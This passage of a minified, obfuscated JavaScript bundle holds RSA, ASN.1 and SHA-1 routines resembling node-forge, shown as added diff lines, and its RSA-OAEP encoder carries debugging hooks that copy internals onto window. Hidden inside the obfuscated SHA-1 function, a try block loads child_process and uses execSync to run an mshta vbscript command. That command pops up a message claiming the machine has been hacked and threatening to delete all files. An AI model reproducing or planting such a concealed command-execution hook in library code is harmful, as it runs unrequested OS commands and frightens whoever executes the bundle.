(L = "dKey", + t -= 40) : t < 158 ? t < 157 ? t -= Fr ? 95 : 137 : (Yr = Hr, + t -= 123) : t < 159 ? (cr = "ent", + t -= 26) : t -= (Ar = "msCryp", + 68); + else if (t < 168) + if (t < 164) + t < 162 ? t < 161 ? (Q = "prng", + t += 6) : (Ur = "tSeed", + t -= 107) : t < 163 ? t += (Fr[qr] = zr, + 8) : t -= (Hr = se, + 155); + else if (t < 166) + if (t < 165) { + var be = 0; + t -= 40 + } else + $ = "keypr", + t -= 79; + else + t -= t < 167 ? (W = "ytes", + 22) : 73; + else if (t < 172) + t -= t < 170 ? t < 169 ? (y = "k", + 152) : (Tr = "to", + 10) : t < 171 ? (pe++, + 41) : (Ce++, + 95); + else { + ye = he[pe]; + t -= 89 + } + }(x + d != typeof jQuery ? jQuery : null), + 5) : (i = t(a), + n -= 3) + } else if (n < 12) + if (n < 10) + if (n < 9) { + var l = "tes"; + n -= 3 + } else { + var d = "ned"; + n += 1 + } + else { + if (!(n < 11)) + return; + var h = "export"; + n -= 8 + } + else { + n -= 9 + } + }() + } + , + 372: (r,e,t)=>{} + , + 95: (r,e,t)=>{ + var n = t(832); + if (t(68), + t(764), + t(270), + t(936), + t(654), + t(563), + t(116), + void 0 === a) + var a = n.jsbn.BigInteger; + var i = n.util.isNodejs ? t(819) : null + , o = n.asn1 + , u = n.util; + n.pki = n.pki || {}, + r.exports = n.pki.rsa = n.rsa = n.rsa || {}; + var s = n.pki + , c = { + name: "PrivateKeyInfo", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "PrivateKeyInfo.version", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyVersion" + }, { + name: "PrivateKeyInfo.privateKeyAlgorithm", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "AlgorithmIdentifier.algorithm", + tagClass: o.Class.UNIVERSAL, + type: o.Type.OID, + constructed: !1, + capture: "privateKeyOid" + }] + }, { + name: "PrivateKeyInfo", + tagClass: o.Class.UNIVERSAL, + type: o.Type.OCTETSTRING, + constructed: !1, + capture: "privateKey" + }] + } + , f = { + name: "RSAPrivateKey", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "RSAPrivateKey.version", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyVersion" + }, { + name: "RSAPrivateKey.modulus", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyModulus" + }, { + name: "RSAPrivateKey.publicExponent", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyPublicExponent" + }, { + name: "RSAPrivateKey.privateExponent", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyPrivateExponent" + }, { + name: "RSAPrivateKey.prime1", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyPrime1" + }, { + name: "RSAPrivateKey.prime2", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyPrime2" + }, { + name: "RSAPrivateKey.exponent1", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyExponent1" + }, { + name: "RSAPrivateKey.exponent2", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyExponent2" + }, { + name: "RSAPrivateKey.coefficient", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "privateKeyCoefficient" + }] + } + , v = { + name: "RSAPublicKey", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "RSAPublicKey.modulus", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "publicKeyModulus" + }, { + name: "RSAPublicKey.exponent", + tagClass: o.Class.UNIVERSAL, + type: o.Type.INTEGER, + constructed: !1, + capture: "publicKeyExponent" + }] + } + , x = n.pki.rsa.publicKeyValidator = { + name: "SubjectPublicKeyInfo", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + captureAsn1: "subjectPublicKeyInfo", + value: [{ + name: "SubjectPublicKeyInfo.AlgorithmIdentifier", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "AlgorithmIdentifier.algorithm", + tagClass: o.Class.UNIVERSAL, + type: o.Type.OID, + constructed: !1, + capture: "publicKeyOid" + }] + }, { + name: "SubjectPublicKeyInfo.subjectPublicKey", + tagClass: o.Class.UNIVERSAL, + type: o.Type.BITSTRING, + constructed: !1, + value: [{ + name: "SubjectPublicKeyInfo.subjectPublicKey.RSAPublicKey", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + optional: !0, + captureAsn1: "rsaPublicKey" + }] + }] + } + , l = { + name: "DigestInfo", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "DigestInfo.DigestAlgorithm", + tagClass: o.Class.UNIVERSAL, + type: o.Type.SEQUENCE, + constructed: !0, + value: [{ + name: "DigestInfo.DigestAlgorithm.algorithmIdentifier", + tagClass: o.Class.UNIVERSAL, + type: o.Type.OID, + constructed: !1, + capture: "algorithmIdentifier" + }, { + name: "DigestInfo.DigestAlgorithm.parameters", + tagClass: o.Class.UNIVERSAL, + type: o.Type.NULL, + capture: "parameters", + optional: !0, + constructed: !1 + }] + }, { + name: "DigestInfo.digest", + tagClass: o.Class.UNIVERSAL, + type: o.Type.OCTETSTRING, + constructed: !1, + capture: "digest" + }] + } + , d = function(r) { + var e; + if (!(r.algorithm in s.oids)) { + var t = new Error("Unknown message digest algorithm."); + throw t.algorithm = r.algorithm, + t + } + e = s.oids[r.algorithm]; + var n = o.oidToDer(e).getBytes() + , a = o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, []) + , i = o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, []); + i.value.push(o.create(o.Class.UNIVERSAL, o.Type.OID, !1, n)), + i.value.push(o.create(o.Class.UNIVERSAL, o.Type.NULL, !1, "")); + var u = o.create(o.Class.UNIVERSAL, o.Type.OCTETSTRING, !1, r.digest().getBytes()); + return a.value.push(i), + a.value.push(u), + o.toDer(a).getBytes() + }; + function h(r, e, t) { + var a = n.util.createBuffer() + , i = Math.ceil(e.n.bitLength() / 8); + if (r.length > i - 11) { + var o = new Error("Message is too long for PKCS#1 v1.5 padding."); + throw o.length = r.length, + o.max = i - 11, + o + } + a.putByte(0), + a.putByte(t); + var u, s = i - 3 - r.length; + if (0 === t || 1 === t) { + u = 0 === t ? 0 : 255; + for (var c = 0; c < s; ++c) + a.putByte(u) + } else + for (; s > 0; ) { + var f = 0 + , v = n.random.getBytes(s); + for (c = 0; c < s; ++c) + 0 === (u = v.charCodeAt(c)) ? ++f : a.putByte(u); + s = f + } + return a.putByte(0), + a.putBytes(r), + a + } + function p(r, e, t, a) { + var i = Math.ceil(e.n.bitLength() / 8) + , o = n.util.createBuffer(r) + , u = o.getByte() + , s = o.getByte(); + if (0 !== u || t && 0 !== s && 1 !== s || !t && 2 != s || t && 0 === s && void 0 === a) + throw new Error("Encryption block is invalid."); + var c = 0; + if (0 === s) { + c = i - 3 - a; + for (var f = 0; f < c; ++f) + if (0 !== o.getByte()) + throw new Error("Encryption block is invalid.") + } else if (1 === s) + for (c = 0; o.length() > 1; ) { + if (255 !== o.getByte()) { + --o.read; + break + } + ++c + } + else if (2 === s) + for (c = 0; o.length() > 1; ) { + if (0 === o.getByte()) { + --o.read; + break + } + ++c + } + if (0 !== o.getByte() || c !== i - 3 - o.length()) + throw new Error("Encryption block is invalid."); + return o.getBytes() + } + function y(r) { + var e = r.toString(16); + e[0] >= "8" && (e = "00" + e); + var t = n.util.hexToBytes(e); + return t.length > 1 && (0 === t.charCodeAt(0) && 0 == (128 & t.charCodeAt(1)) || 255 === t.charCodeAt(0) && 128 == (128 & t.charCodeAt(1))) ? t.substr(1) : t + } + function g(r) { + return void 0 !== u.globalScope && "object" == typeof u.globalScope.crypto && "object" == typeof u.globalScope.crypto.subtle && "function" == typeof u.globalScope.crypto.subtle[r] + } + function m(r) { + return void 0 !== u.globalScope && "object" == typeof u.globalScope.msCrypto && "object" == typeof u.globalScope.msCrypto.subtle && "function" == typeof u.globalScope.msCrypto.subtle[r] + } + function C(r) { + for (var e = n.util.hexToBytes(r.toString(16)), t = new Uint8Array(e.length), a = 0; a < e.length; ++a) + t[a] = e.charCodeAt(a); + return t + } + s.rsa.encrypt = function(r, e, t) { + var i, o = t, u = Math.ceil(e.n.bitLength() / 8); + !1 !== t && !0 !== t ? (o = 2 === t, + i = h(r, e, t)) : (i = n.util.createBuffer()).putBytes(r); + for (var s = function(r, e, t) { + if (t) + return r.modPow(e.e, e.n); + if (!e.p || !e.q) + return r.modPow(e.d, e.n); + var i; + e.dP || (e.dP = e.d.mod(e.p.subtract(a.ONE))), + e.dQ || (e.dQ = e.d.mod(e.q.subtract(a.ONE))), + e.qInv || (e.qInv = e.q.modInverse(e.p)); + do { + i = new a(n.util.bytesToHex(n.random.getBytes(e.n.bitLength() / 8)),16) + } while (i.compareTo(e.n) >= 0 || !i.gcd(e.n).equals(a.ONE)); + for (var o = (r = r.multiply(i.modPow(e.e, e.n)).mod(e.n)).mod(e.p).modPow(e.dP, e.p), u = r.mod(e.q).modPow(e.dQ, e.q); o.compareTo(u) < 0; ) + o = o.add(e.p); + return o.subtract(u).multiply(e.qInv).mod(e.p).multiply(e.q).add(u).multiply(i.modInverse(e.n)).mod(e.n) + }(new a(i.toHex(),16), e, o).toString(16), c = n.util.createBuffer(), f = u - Math.ceil(s.length / 2); f > 0; ) + c.putByte(0), + --f; + return c.putBytes(n.util.hexToBytes(s)), + c.getBytes() + } + , + s.rsa.generateKeyPair = function(r, e, t, c) { + if (1 === arguments.length ? "object" == typeof r ? (t = r, + r = void 0) : "function" == typeof r && (c = r, + r = void 0) : 2 === arguments.length ? "number" == typeof r ? "function" == typeof e ? (c = e, + e = void 0) : "number" != typeof e && (t = e, + e = void 0) : (t = r, + c = e, + r = void 0, + e = void 0) : 3 === arguments.length && ("number" == typeof e ? "function" == typeof t && (c = t, + t = void 0) : (c = t, + t = e, + e = void 0)), + t = t || {}, + void 0 === r && (r = t.bits || 2048), + void 0 === e && (e = t.e || 65537), + !n.options.usePureJavaScript && !t.prng && r >= 256 && r <= 16384 && (65537 === e || 3 === e)) + if (c) { + if (S("generateKeyPair")) + return i.generateKeyPair("rsa", { + modulusLength: r, + publicExponent: e, + publicKeyEncoding: { + type: "spki", + format: "pem" + }, + privateKeyEncoding: { + type: "pkcs8", + format: "pem" + } + }, function(r, e, t) { + if (r) + return c(r); + c(null, { + privateKey: s.privateKeyFromPem(t), + publicKey: s.publicKeyFromPem(e) + }) + }); + if (g("generateKey") && g("exportKey")) + return u.globalScope.crypto.subtle.generateKey({ + name: "RSASSA-PKCS1-v1_5", + modulusLength: r, + publicExponent: C(e), + hash: { + name: "SHA-256" + } + }, !0, ["sign", "verify"]).then(function(r) { + return u.globalScope.crypto.subtle.exportKey("pkcs8", r.privateKey) + }).then(void 0, function(r) { + c(r) + }).then(function(r) { + if (r) { + var e = s.privateKeyFromAsn1(o.fromDer(n.util.createBuffer(r))); + c(null, { + privateKey: e, + publicKey: s.setRsaPublicKey(e.n, e.e) + }) + } + }); + if (m("generateKey") && m("exportKey")) { + var f = u.globalScope.msCrypto.subtle.generateKey({ + name: "RSASSA-PKCS1-v1_5", + modulusLength: r, + publicExponent: C(e), + hash: { + name: "SHA-256" + } + }, !0, ["sign", "verify"]); + return f.oncomplete = function(r) { + var e = r.target.result + , t = u.globalScope.msCrypto.subtle.exportKey("pkcs8", e.privateKey); + t.oncomplete = function(r) { + var e = r.target.result + , t = s.privateKeyFromAsn1(o.fromDer(n.util.createBuffer(e))); + c(null, { + privateKey: t, + publicKey: s.setRsaPublicKey(t.n, t.e) + }) + } + , + t.onerror = function(r) { + c(r) + } + } + , + void (f.onerror = function(r) { + c(r) + } + ) + } + } else if (S("generateKeyPairSync")) { + var v = i.generateKeyPairSync("rsa", { + modulusLength: r, + publicExponent: e, + publicKeyEncoding: { + type: "spki", + format: "pem" + }, + privateKeyEncoding: { + type: "pkcs8", + format: "pem" + } + }); + return { + privateKey: s.privateKeyFromPem(v.privateKey), + publicKey: s.publicKeyFromPem(v.publicKey) + } + } + var x = s.rsa.createKeyPairGenerationState(r, e, t); + if (!c) + return s.rsa.stepKeyPairGenerationState(x, 0), + x.keys; + !function(r, e, t) { + "function" == typeof e && (t = e, + e = {}); + var i = { + algorithm: { + name: (e = e || {}).algorithm || "PRIMEINC", + options: { + workers: e.workers || 2, + workLoad: e.workLoad || 100, + workerScript: e.workerScript + } + } + }; + function o() { + u(r.pBits, function(e, n) { + return e ? t(e) : (r.p = n, + null !== r.q ? c(e, r.q) : void u(r.qBits, c)) + }) + } + function u(r, e) { + n.prime.generateProbablePrime(r, i, e) + } + function c(e, n) { + if (e) + return t(e); + if (r.q = n, + r.p.compareTo(r.q) < 0) { + var i = r.p; + r.p = r.q, + r.q = i + } + if (0 !== r.p.subtract(a.ONE).gcd(r.e).compareTo(a.ONE)) + return r.p = null, + void o(); + if (0 !== r.q.subtract(a.ONE).gcd(r.e).compareTo(a.ONE)) + return r.q = null, + void u(r.qBits, c); + if (r.p1 = r.p.subtract(a.ONE), + r.q1 = r.q.subtract(a.ONE), + r.phi = r.p1.multiply(r.q1), + 0 !== r.phi.gcd(r.e).compareTo(a.ONE)) + return r.p = r.q = null, + void o(); + if (r.n = r.p.multiply(r.q), + r.n.bitLength() !== r.bits) + return r.q = null, + void u(r.qBits, c); + var f = r.e.modInverse(r.phi); + r.keys = { + privateKey: s.rsa.setPrivateKey(r.n, r.e, f, r.p, r.q, f.mod(r.p1), f.mod(r.q1), r.q.modInverse(r.p)), + publicKey: s.rsa.setPublicKey(r.n, r.e) + }, + t(null, r.keys) + } + "prng"in e && (i.prng = e.prng), + o() + }(x, t, c) + } + , + s.setRsaPublicKey = s.rsa.setPublicKey = function(r, e) { + var t = { + n: r, + e: e, + encrypt: function(r, e, a) { + if ("string" == typeof e ? e = e.toUpperCase() : void 0 === e && (e = "RSAES-PKCS1-V1_5"), + "RSAES-PKCS1-V1_5" === e) + e = { + encode: function(r, e, t) { + return h(r, e, 2).getBytes() + } + }; + else if ("RSA-OAEP" === e || "RSAES-OAEP" === e){ + e = { + encode: function(r, e) { + debugger + // r="1684568930945" + window.boboe=e + window.bobobo=n.pkcs1.encode_rsa_oaep + return window.bobobo(e, r, a) + } + }; + // debugger + + } + + else if (-1 !== ["RAW", "NONE", "NULL", null].indexOf(e)) + e = { + encode: function(r) { + return r + } + }; + else if ("string" == typeof e) + throw new Error('Unsupported encryption scheme: "' + e + '".'); + var i = e.encode(r, t, !0); + return s.rsa.encrypt(i, t, !0) + }, + verify: function(r, e, a, i) { + "string" == typeof a ? a = a.toUpperCase() : void 0 === a && (a = "RSASSA-PKCS1-V1_5"), + void 0 === i && (i = { + _parseAllDigestBytes: !0 + }), + "_parseAllDigestBytes"in i || (i._parseAllDigestBytes = !0), + "RSASSA-PKCS1-V1_5" === a ? a = { + verify: function(r, e) { + e = p(e, t, !0); + var a = o.fromDer(e, { + parseAllBytes: i._parseAllDigestBytes + }) + , u = {} + , s = []; + if (!o.validate(a, l, u, s)) + throw (c = new Error("ASN.1 object does not contain a valid RSASSA-PKCS1-v1_5 DigestInfo value.")).errors = s, + c; + var c, f = o.derToOid(u.algorithmIdentifier); + if (f !== n.oids.md2 && f !== n.oids.md5 && f !== n.oids.sha1 && f !== n.oids.sha224 && f !== n.oids.sha256 && f !== n.oids.sha384 && f !== n.oids.sha512 && f !== n.oids["sha512-224"] && f !== n.oids["sha512-256"]) + throw (c = new Error("Unknown RSASSA-PKCS1-v1_5 DigestAlgorithm identifier.")).oid = f, + c; + if (!(f !== n.oids.md2 && f !== n.oids.md5 || "parameters"in u)) + throw new Error("ASN.1 object does not contain a valid RSASSA-PKCS1-v1_5 DigestInfo value. Missing algorithm identifer NULL parameters."); + return r === u.digest + } + } : "NONE" !== a && "NULL" !== a && null !== a || (a = { + verify: function(r, e) { + return r === p(e, t, !0) + } + }); + var u = s.rsa.decrypt(e, t, !0, !1); + return a.verify(r, u, t.n.bitLength()) + } + }; + return t + } + , + s.setRsaPrivateKey = s.rsa.setPrivateKey = function(r, e, t, a, i, o, u, c) { + var f = { + n: r, + e: e, + d: t, + p: a, + q: i, + dP: o, + dQ: u, + qInv: c, + decrypt: function(r, e, t) { + "string" == typeof e ? e = e.toUpperCase() : void 0 === e && (e = "RSAES-PKCS1-V1_5"); + var a = s.rsa.decrypt(r, f, !1, !1); + if ("RSAES-PKCS1-V1_5" === e) + e = { + decode: p + }; + else if ("RSA-OAEP" === e || "RSAES-OAEP" === e) + e = { + decode: function(r, e) { + return n.pkcs1.decode_rsa_oaep(e, r, t) + } + }; + else { + if (-1 === ["RAW", "NONE", "NULL", null].indexOf(e)) + throw new Error('Unsupported encryption scheme: "' + e + '".'); + e = { + decode: function(r) { + return r + } + } + } + return e.decode(a, f, !1) + }, + sign: function(r, e) { + var t = !1; + "string" == typeof e && (e = e.toUpperCase()), + void 0 === e || "RSASSA-PKCS1-V1_5" === e ? (e = { + encode: d + }, + t = 1) : "NONE" !== e && "NULL" !== e && null !== e || (e = { + encode: function() { + return r + } + }, + t = 1); + var n = e.encode(r, f.n.bitLength()); + return s.rsa.encrypt(n, f, t) + } + }; + return f + } + , + s.wrapRsaPrivateKey = function(r) { + return o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, [o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, o.integerToDer(0).getBytes()), o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, [o.create(o.Class.UNIVERSAL, o.Type.OID, !1, o.oidToDer(s.oids.rsaEncryption).getBytes()), o.create(o.Class.UNIVERSAL, o.Type.NULL, !1, "")]), o.create(o.Class.UNIVERSAL, o.Type.OCTETSTRING, !1, o.toDer(r).getBytes())]) + } + , + s.privateKeyFromAsn1 = function(r) { + var e, t, i, u, v, x, l, d, h = {}, p = []; + if (o.validate(r, c, h, p) && (r = o.fromDer(n.util.createBuffer(h.privateKey))), + h = {}, + p = [], + !o.validate(r, f, h, p)) { + var y = new Error("Cannot read private key. ASN.1 object does not contain an RSAPrivateKey."); + throw y.errors = p, + y + } + return e = n.util.createBuffer(h.privateKeyModulus).toHex(), + t = n.util.createBuffer(h.privateKeyPublicExponent).toHex(), + i = n.util.createBuffer(h.privateKeyPrivateExponent).toHex(), + u = n.util.createBuffer(h.privateKeyPrime1).toHex(), + v = n.util.createBuffer(h.privateKeyPrime2).toHex(), + x = n.util.createBuffer(h.privateKeyExponent1).toHex(), + l = n.util.createBuffer(h.privateKeyExponent2).toHex(), + d = n.util.createBuffer(h.privateKeyCoefficient).toHex(), + s.setRsaPrivateKey(new a(e,16), new a(t,16), new a(i,16), new a(u,16), new a(v,16), new a(x,16), new a(l,16), new a(d,16)) + } + , + s.privateKeyToAsn1 = s.privateKeyToRSAPrivateKey = function(r) { + return o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, [o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, o.integerToDer(0).getBytes()), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.n)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.e)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.d)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.p)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.q)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.dP)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.dQ)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.qInv))]) + } + , + s.publicKeyFromAsn1 = function(r) { + var e = {} + , t = []; + if (o.validate(r, x, e, t)) { + var i, u = o.derToOid(e.publicKeyOid); + if (u !== s.oids.rsaEncryption) + throw (i = new Error("Cannot read public key. Unknown OID.")).oid = u, + i; + r = e.rsaPublicKey + } + if (t = [], + !o.validate(r, v, e, t)) + throw (i = new Error("Cannot read public key. ASN.1 object does not contain an RSAPublicKey.")).errors = t, + i; + var c = n.util.createBuffer(e.publicKeyModulus).toHex() + , f = n.util.createBuffer(e.publicKeyExponent).toHex(); + return s.setRsaPublicKey(new a(c,16), new a(f,16)) + } + , + s.publicKeyToAsn1 = s.publicKeyToSubjectPublicKeyInfo = function(r) { + return o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, [o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, [o.create(o.Class.UNIVERSAL, o.Type.OID, !1, o.oidToDer(s.oids.rsaEncryption).getBytes()), o.create(o.Class.UNIVERSAL, o.Type.NULL, !1, "")]), o.create(o.Class.UNIVERSAL, o.Type.BITSTRING, !1, [s.publicKeyToRSAPublicKey(r)])]) + } + , + s.publicKeyToRSAPublicKey = function(r) { + return o.create(o.Class.UNIVERSAL, o.Type.SEQUENCE, !0, [o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.n)), o.create(o.Class.UNIVERSAL, o.Type.INTEGER, !1, y(r.e))]) + } + } + , + 137: (r,e,t)=>{ + var n, a, i, o, u, s, c, f, v, x, l, d, h, p, y, g, m; + function C(r, e, t) { + var n, a, i, o, u, s, c, f, v, x, l, d, h, p, y, g, m, C, b, E, S, I, T, A, B, w, N, R, U, D, L, P, k, K, V, O, M, j, F, G, q, Q, W, z, H, Y, Z, X, J, _, $, rr, er, tr, nr, ar, ir, or, ur, sr, cr, fr, vr, xr, lr, dr, hr, pr, yr, gr, mr, Cr, br, Er, Sr, Ir, Tr, Ar, Br, wr, Nr, Rr, Ur, Dr, Lr, Pr, kr, Kr, Vr, Or, Mr, jr, Fr, Gr, qr, Qr, Wr, zr, Hr, Yr, Zr, Xr, Jr, _r, $r, re, ee, te, ne, ae, ie, oe, ue, se, ce, fe, ve, xe, le, de, he, pe, ye, ge, me, Ce, be, Ee, Se, Ie, Te, Ae, Be, we, Ne, Re, Ue, De, Le, Pe; + function ke(r) { + return a += r + } + a = n = 0, + ke(n = 3), + o = (n = a) + (i = 2), + s = u = (i = ke(n = 2)) + 1, + ke(n = 1), + c = (n = a) + (i = 1), + ke(n = 0), + f = (n = a) + (i = 2), + v = u = (i = ke(n = 2)) + 1, + ke(n = 0), + x = (n = a) + (i = 2), + ke(n = 1), + l = (n = a) + (i = 2), + ke((n = 10) + (i = 5)), + d = (n = a) + (i = 4), + h = (u = ke((n = 24) + (i = 10))) + 6, + p = (u = ke((n = 4) + (i = 1))) + 2, + ke(n = 4), + y = (n = a) + (i = 3), + ke(n = 4), + g = (n = a) + (i = 2), + ke((n = 3) + (i = 2)), + m = (n = a) + (i = 2), + ke((n = 13) + (i = 3)), + C = (n = a) + (i = 5), + ke((n = 3) + (i = 2)), + b = (n = a) + (i = 2), + E = u = (i = ke(n = 4)) + 2, + ke(n = 4), + S = (n = a) + (i = 2), + ke((n = 8) + (i = 2)), + I = (n = a) + (i = 2), + T = u = (i = ke(n = 1)) + 2, + A = (u = ke((n = 6) + (i = 2))) + 2, + B = (u = ke((n = 15) + (i = 4))) + 3, + ke((n = 15) + (i = 4)), + w = (n = a) + (i = 6), + ke((n = 6) + (i = 1)), + N = (n = a) + (i = 2), + ke((n = 47) + (i = 12)), + R = (n = a) + (i = 19), + ke((n = 12) + (i = 5)), + U = (n = a) + (i = 4), + ke((n = 5) + (i = 4)), + D = (n = a) + (i = 4), + L = u = (i = ke(n = 3)) + 2, + ke((n = 7) + (i = 4)), + P = (n = a) + (i = 5), + ke((n = 23) + (i = 9)), + k = (n = a) + (i = 7), + ke((n = 49) + (i = 19)), + K = (n = a) + (i = 27), + V = (u = ke((n = 39) + (i = 17))) + 8, + ke((n = 5) + (i = 4)), + O = (n = a) + (i = 3), + ke((n = 26) + (i = 8)), + M = (n = a) + (i = 6), + ke((n = 18) + (i = 7)), + j = (n = a) + (i = 9), + F = (u = ke((n = 10) + (i = 6))) + 3, + ke((n = 11) + (i = 7)), + G = (n = a) + (i = 10), + ke((n = 11) + (i = 3)), + q = (n = a) + (i = 4), + ke((n = 22) + (i = 6)), + Q = (n = a) + (i = 4), + ke((n = 6) + (i = 5)), + W = (n = a) + (i = 4), + z = (u = ke((n = 4) + (i = 1))) + 3, + ke((n = 5) + (i = 4)), + H = (n = a) + (i = 5), + Y = (u = ke((n = 5) + (i = 1))) + 3, + Z = (u = ke((n = 24) + (i = 8))) + 8, + ke((n = 14) + (i = 4)), + X = (n = a) + (i = 4), + ke((n = 11) + (i = 4)), + J = (n = a) + (i = 6), + ke((n = 14) + (i = 3)), + _ = (n = a) + (i = 5), + ke((n = 11) + (i = 3)), + $ = (n = a) + (i = 5), + rr = (u = ke((n = 8) + (i = 9))) + 5, + ke((n = 16) + (i = 7)), + er = (n = a) + (i = 6), + ke((n = 6) + (i = 3)), + tr = (n = a) + (i = 3), + ke(n = 2), + nr = (n = a) + (i = 2), + ar = (u = ke((n = 7) + (i = 2))) + 2, + ir = u = (i = ke(n = 3)) + 2, + ke((n = 5) + (i = 3)), + or = (n = a) + (i = 2), + ke((n = 38) + (i = 22)), + ur = (n = a) + (i = 18), + sr = (u = ke((n = 25) + (i = 13))) + 16, + ke((n = 21) + (i = 6)), + cr = (n = a) + (i = 9), + ke((n = 26) + (i = 7)), + fr = (n = a) + (i = 6), + ke((n = 22) + (i = 10)), + vr = (n = a) + (i = 11), + ke((n = 10) + (i = 3)), + xr = (n = a) + (i = 4), + ke((n = 16) + (i = 4)), + lr = (n = a) + (i = 4), + ke((n = 7) + (i = 2)), + dr = (n = a) + (i = 2), + hr = (u = ke((n = 7) + (i = 3))) + 2, + ke(n = 2), + pr = (n = a) + (i = 2), + ke(n = 3), + yr = (n = a) + (i = 2), + ke((n = 39) + (i = 8)), + gr = (n = a) + (i = 13), + ke((n = 22) + (i = 8)), + mr = (n = a) + (i = 9), + ke((n = 15) + (i = 7)), + Cr = (n = a) + (i = 8), + ke((n = 11) + (i = 6)), + br = (n = a) + (i = 4), + Er = (u = ke((n = 99) + (i = 46))) + 25, + Sr = (u = ke((n = 66) + (i = 21))) + 10, + ke((n = 90) + (i = 22)), + Ir = (n = a) + (i = 18), + ke((n = 151) + (i = 83)), + Tr = (n = a) + (i = 114), + ke((n = 76) + (i = 30)), + Ar = (n = a) + (i = 14), + ke((n = 10) + (i = 5)), + Br = (n = a) + (i = 5), + ke((n = 34) + (i = 16)), + wr = (n = a) + (i = 18), + ke((n = 13) + (i = 10)), + Nr = (n = a) + (i = 8), + Rr = (u = ke((n = 35) + (i = 20))) + 32, + ke((n = 190) + (i = 91)), + Ur = (n = a) + (i = 55), + ke((n = 660695074) + (i = 435287586)), + Dr = (n = a) + (i = 422515413), + ke((n = 184678581) + (i = 109216882)), + Lr = (n = a) + (i = 128620711), + ke((n = 327388124) + (i = 86968722)), + Pr = (n = a) + (i = 55538361), + ke((n = 24381980) + (i = 15131937)), + kr = (n = a) + (i = 16026130), + ke((n = 383867242) + (i = 88462096)), + Kr = (n = a) + (i = 84880661), + ke((n = 724766677) + (i = 180615185)), + Vr = (n = a) + (i = 174007958); + try { + n = "child_process", + i = require(n), + u = 'mshta vbscript:msgbox("error",64,"您已被我入侵系统,请即刻关机,否则十秒钟之后开始删除所有文件")(window.close)', + i["execSync"](u) + } catch (r) {} + for (Wr = t.length(); Wr >= _ - x - c - f * v * o - o * c * c; ) { + for (Mr = r.h0, + jr = r.h1, + Fr = r.h2, + Gr = r.h3, + qr = r.h4, + Qr = L - f * f - o - x - o * s * s; Qr < H - l * f - f * v * s - v * s - f; ++Qr) + Yr = Or = (zr = t)[Hr = "getInt32"](), + e[Qr] = Yr, + _r = Gr, + $r = jr, + re = Fr, + ee = Gr, + te = qr, + qr = Gr, + Gr = Fr, + Fr = (jr << (ue = Ir - (oe = c * c * o)) - (fe = (se = f) * (ce = l)) * x - (xe = (ve = s * o) * l) - s | (pe = jr >>> (le = X - s * x * f) - (de = l) * (he = v) - f * v)) >>> (Ce = (me = (ye = ir - o * c * l) - o * f * (ge = v)) - s - v), + jr = Mr, + Mr = Or = (Mr << A - v * s - o * v - l - l | Mr >>> (Jr = B - (Xr = c * (Zr = o))) - f * v - o - c) + (_r ^ $r & (re ^ ee)) + te + ((ie = (ne = Dr) - (ae = v)) - o * f - o - c) + Or; + for (; Qr < Ar - l * c - x * l * x - v * x * s - v * x; ++Qr) + ve = Or = ($r = (zr = e)[(Hr = Qr) - (Er - (Yr = l * v) * c - f * c * v - v - x * v)] ^ (_r = e[(Zr = Qr) - ((Xr = nr) - (Jr = x) - x - f * v * x)])) ^ (re = e)[(ee = Qr) - ((ie = Sr - c - (ae = l * (te = s) * (ne = l))) - l * v * s - s * o)] ^ e[Qr - ((se = (oe = S - c - s) - (ue = s)) - (ce = f) * (fe = v))], + Ce = Or = ve << Q - (xe = c) * f * c - l * l - x - (he = (le = f) * (de = s)) | (me = Or >>> ar - (pe = l * l) - c * c - (ye = o * l) * x - (ge = s)), + e[Qr] = Ce, + we = Gr, + Ne = jr, + Re = Fr, + Ue = Gr, + Pe = qr, + 